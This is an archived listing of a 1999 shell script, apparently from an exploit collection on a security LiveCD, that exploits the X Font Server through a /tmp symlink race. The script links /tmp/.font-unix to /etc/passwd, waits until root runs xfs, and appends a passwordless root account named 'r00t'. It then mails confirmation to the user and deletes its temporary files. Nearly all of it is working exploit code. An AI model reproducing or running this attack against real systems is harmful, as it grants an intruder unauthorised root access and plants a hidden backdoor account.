home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xfsx.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  1KB  |  34 lines

  1. #!/bin/sh
  2. # X Font Server **exploit** 
  3. # ArchAng3| of Death -- Member Of Midgard Security Team
  4. # usage: xfsx &
  5. # the proggie stays in the background checking for write access to 
  6. # /etc/passwd when it haves write access it creates an account and 
  7. # mails back at you.
  8.  
  9. if [ -f /tmp/.font-unix ]; then
  10.    echo "File already exists..."
  11.    echo "Aborting..."
  12.    exit
  13.  
  14. else
  15.  
  16.   echo "Creating symlink to /etc/passwd..."
  17.   ln -s /etc/passwd /tmp/.font-unix
  18.   echo "Symlink created..."
  19.   echo "Now just wait until root executes xfs..."
  20.   while (true); do
  21.    sleep 60;
  22.    if [ -w /etc/passwd ]; then 
  23.      echo "r00t::0:0:r00t:/:/bin/bash" >> /etc/passwd
  24.      echo "0wn3d..." > .xfsxtmp666
  25.      echo `cat /etc/passwd |grep r00t` >> .xfsxtmp666
  26.      echo "su r00t might be a good thing to do ..." >> .xfsxtmp666
  27.      cat .xfsxtmp666 |mail `whoami`
  28.      rm -f .xfsxtmp666
  29.      rm -f /tmp/.font-unix
  30.      exit
  31.    fi; 
  32.    done  
  33. fi
  34. #                    www.hack.co.za              [1999]#